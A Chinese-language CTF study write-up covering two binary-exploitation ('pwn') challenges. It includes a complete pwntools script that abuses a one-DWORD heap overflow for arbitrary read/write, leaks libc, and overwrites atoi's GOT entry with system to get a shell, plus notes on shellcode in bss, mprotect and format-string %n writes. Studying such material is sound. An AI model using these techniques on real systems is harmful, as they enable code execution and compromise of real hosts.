几个月前的比赛题
学习晨升牛的题解。

自己实现的堆管理器的漏洞。
这种题目出现的频率比较高。对于我还是算难度比较大的一种。

分析

  1. 一个很大的堆,可以在其上生成长度最大为32的DWORD数组。
  2. 数组可以溢出一个DWORD,可以读/写。
  3. 该堆没有自动合并碎片的功能,每次分割之后的块大小就固定了。
  4. 有一个排序功能,该排序功能也从堆上分配空间来存储排序结果
  5. 排序结果会被记录,并被链入链表(结构为struct Link{Entry *entry; Link *next;}),其中链表项和链表头也都是从该堆中分配。
  6. 综合1.4.5,堆上的东西(数组或排序结果或表项或表头)都是struct Entry{unsigned size; int used; unsigned offset; Entry *next;},堆上的东西(used和not_used)也被从小到大链接成一个链表(另一个链表,并且使用插入排序)c:w

方法

  1. 使用system(“/bin/bash”) -> 修改got表中atoi项为system的地址。输入字符串/bin/bash,被传给system。
  2. 修改got表 -> 修改其中一个块的size为很大,然后重新读取这块,此时在该块下就能进行很大范围的索引了。我们需要加到整数溢出才能加到atoi_got。
  3. atoi_got -> 根据堆的起始地址和atoi_got的VA来算
  4. 堆的起始地址 -> 第一次sort,会在堆中生成一个struct Link作为表头,其第一个DWORD便是第一个数组,也就是堆的起始地址。我们对第一次生成的数组排序,然后溢出query,便能查到。
  5. system的地址 -> 根据atoi_plt算出libc,再算出system。
  6. atoi_plt -> 同2的方法,在该size值很大的块下,我们能进行很大范围的索引。size为0x40000000时,size*4大于了unsigned的最大范围,因此使用0x40000000能够达到32位进程空间任意读写。

心得

  1. 才学会使用IDA的structure功能,汗颜。分析数据结构比较复杂的程序,现在应该专注于数据结构的分析才能比较快。
  2. 对新发现的脆弱点要好好研究。不能因为觉得一个DWORD的溢出太小,而一直花时间找别的脆弱点。
  3. 该研究内核了

代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
local = True
if local:
    io = process('./pwn1-fb39ccfa')
    atoi_offset = 0x2d230
    system_offset = 0x3ad80
else:
    atoi_offset = 0x2D8E0
    system_offset = 0x3BC90
    io = remote('pwn.lab.seclover.com',11111)
def r_sort(io,numbers):
    io.recvuntil('$ ')
    io.sendline('sort')
    io.recvuntil(':')
    io.sendline(str(len(numbers)))
    for i in numbers:
        io.recvuntil(':')
        io.sendline(str(i))
def main():
    # leak heap base
    r_sort(io,[1])
    print io.recvuntil('Choose:')
    io.sendline('3')
    print io.recvuntil('Choose:')
    io.sendline('1')
    print io.recvuntil('index:')
    io.sendline('1')
    io.recvuntil('result: ')
    heap_base = int(io.recvline()[:-1])
    log.success('Heap Base = ' + hex(heap_base))
    io.recvuntil('Choose:')
    io.sendline('7')
    io.recvuntil('$ ')
    io.sendline('clear')
    # now:
    # [8|8|xxxxxx]
    r_sort(io,[1,2,3])
    io.recvuntil('Choose:')
    io.sendline('3')
    io.recvuntil('Choose:')
    io.sendline('7')
    r_sort(io,[1,2,3,4,5,6,7])
    io.recvuntil('Choose:')
    io.sendline('3')
    io.recvuntil('Choose:')
    io.sendline('7')
    io.recvuntil('$ ')
    io.sendline('clear')
    r_sort(io,[1,2,3,4,5,6,7])
    io.recvuntil('Choose:')
    io.sendline('3')
    io.recvuntil('Choose:')
    io.sendline('7')
    r_sort(io,[1,2,3])
    io.recvuntil('Choose:')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline('3')
    io.recvuntil(':')
    io.sendline('1073741832')
    io.recvuntil('Choose:')
    io.sendline('7')
    io.recvuntil('$ ')
    io.sendline('reload')
    io.recvuntil(':')
    io.sendline('0')
    addr = heap_base + 0x40
    atoi_plt = c_uint32(0x804d020)
    atoi_plt.value -= addr
    atoi_plt.value /= 4
    atoi_plt.value -= 1
    log.success('Index = '+str(atoi_plt.value))
    io.recvuntil('Choose:')
    gdb.attach(io, execute="b *0x08048F5D\nc\n")
    io.sendline('1')
    io.recvuntil('index:')
    io.sendline(str(atoi_plt.value))
    io.recvuntil('result: ')
    atoi_addr = c_uint32(int(io.recvline()[:-1]))
    log.success('Atoi addr = ' + hex(atoi_addr.value))
    libc_addr = atoi_addr.value - atoi_offset
    log.success('Libc addr = ' + hex(libc_addr))
    system_addr = c_int32(libc_addr + system_offset)
    io.recvuntil('Choose:')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(atoi_plt.value))
    io.recvuntil(':')
    io.sendline(str(system_addr.value))
    io.recvuntil('Choose:')
    io.sendline('/bin/sh')
    #raw_input('attach!')
    io.interactive()
    return 0
if __name__ == '__main__':
    main()

安云的pwn题

思路

  1. 运行shellcode
  2. 打开了NX咋办。有mprotect
  3. 把shellcode放到bss
  4. 怎么放?gets

ELF心得

  1. ELF加载的过程中有linker view和loader view,linker view处理segments,而loader view处理sections。
  2. ELF文件的有的segments会被加载到内存里,并页对齐,因此可利用的bss大小不止40字节,因为页大小大于段大小
  3. sections可以出现在多个segement里(换句话说,一个section可能在link阶段有多种需求)

溢出心得

  1. fgets/gets函数,如果需要写入\x00还算好解决,可以分多次写入;但是\x0a不好解决,在遇到\x0a之后,会停止读入,并在\x0a后加上\x00。因此dump libc的时候,找到base很容易(因为4K对齐),但是找system和/bin/sh就挺困难了),这个问题要学习一下别人是怎么解决的
  2. 字符串格式化写(输入函数scanf,gets等,输出函数printf等都用了,因为写进服务器内存既可以用scanf系,也可以用printf的%n):
    a. 写到任意地址,需要先写入一个地址作为指针,然后利用%n(或%hn,%hhn还可以只写一个字节),对\x0a和\x00比较友好,单个字节写入解决了这个问题
    b. 写到任意地址,通过普通栈溢出方法(%$n修改返回地址),修改ret为gets等,对\x0a和\x00不太友好,但是可以批量,这道题就用了gets写shellcode
    c. 作为stdin,写到栈上(不利用字符串格式化)(可以给a作铺垫),对\x0a和\x00不太友好
    d. 改got表,比较传统了
  3. 字符串格式化读(输入函数scanf,gets等,输出函数printf等都用了,因为要把我们的格式化字符串s上传上去,然后才被printf打印):
    a. 读栈的高地址的内容,比较容易,因为没有\x00和\x0a的烦恼
    b. 读栈上高地址处的指针指向的内容%$s,不如a容易,(一种不太好思路是用字符串格式化写,写进一个地址,但是不好实现),writeup放弃了打印出libc或system,而只找了相对容易找的bss,绕过这个问题。
    c. ?

失败尝试

  1. 尝试使用libcdb。libcdb已经很久不更新了,所以然并卵
  2. 尝试dump处libc失败了,

问题

  1. 不明白为什么pwntools的DynELF总是会读到section的外边,然后失败。